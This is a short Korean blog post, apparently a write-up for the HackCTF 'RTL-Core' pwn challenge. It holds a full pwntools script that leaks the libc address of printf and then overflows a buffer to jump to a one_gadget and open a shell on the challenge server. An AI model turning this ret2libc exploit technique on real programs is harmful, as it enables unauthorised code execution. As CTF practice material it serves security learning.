Profile

youngsouk

youngsouk

[hackctf]RTL-Core

from pwn import *

#p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3011)
e = ELF('./rtlcore')
#lib = e.libc
lib = ELF('./libc.so.6')

context.log_level="debug"

p.recv()

payload = p32(0xC0D9B0A7) + '\x00' * 50
p.sendline(payload)

p.recvuntil('\xa1\x9c\x20')
libc = int(p.recv(10), 16) - lib.sym['printf']
p.recv()
pause()

log.info('libc : ' + hex(libc))

payload = 'a' * (0x3e + 4)
payload += p32(libc + 0x3a80c)
p.sendline(payload)

p.interactive()

동적디버깅과 ida로 본 코드로 passcode 함수를 실행했을 때 같게되는 수를 구한뒤 core함수로 printf()의 주소를 받는다. 그럼 라이브러리 주소를 릭할 수 있으니 릭하고 one_gadget을 이용하여 익스를 하면 된다.

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf] you are silver  (0) 2019.07.15
[hackctf]ROP  (0) 2019.07.15
[hackctf] uaf  (0) 2019.07.15
[hack-ctf]1996  (0) 2019.07.15
[hack-ctf]poet  (0) 2019.07.15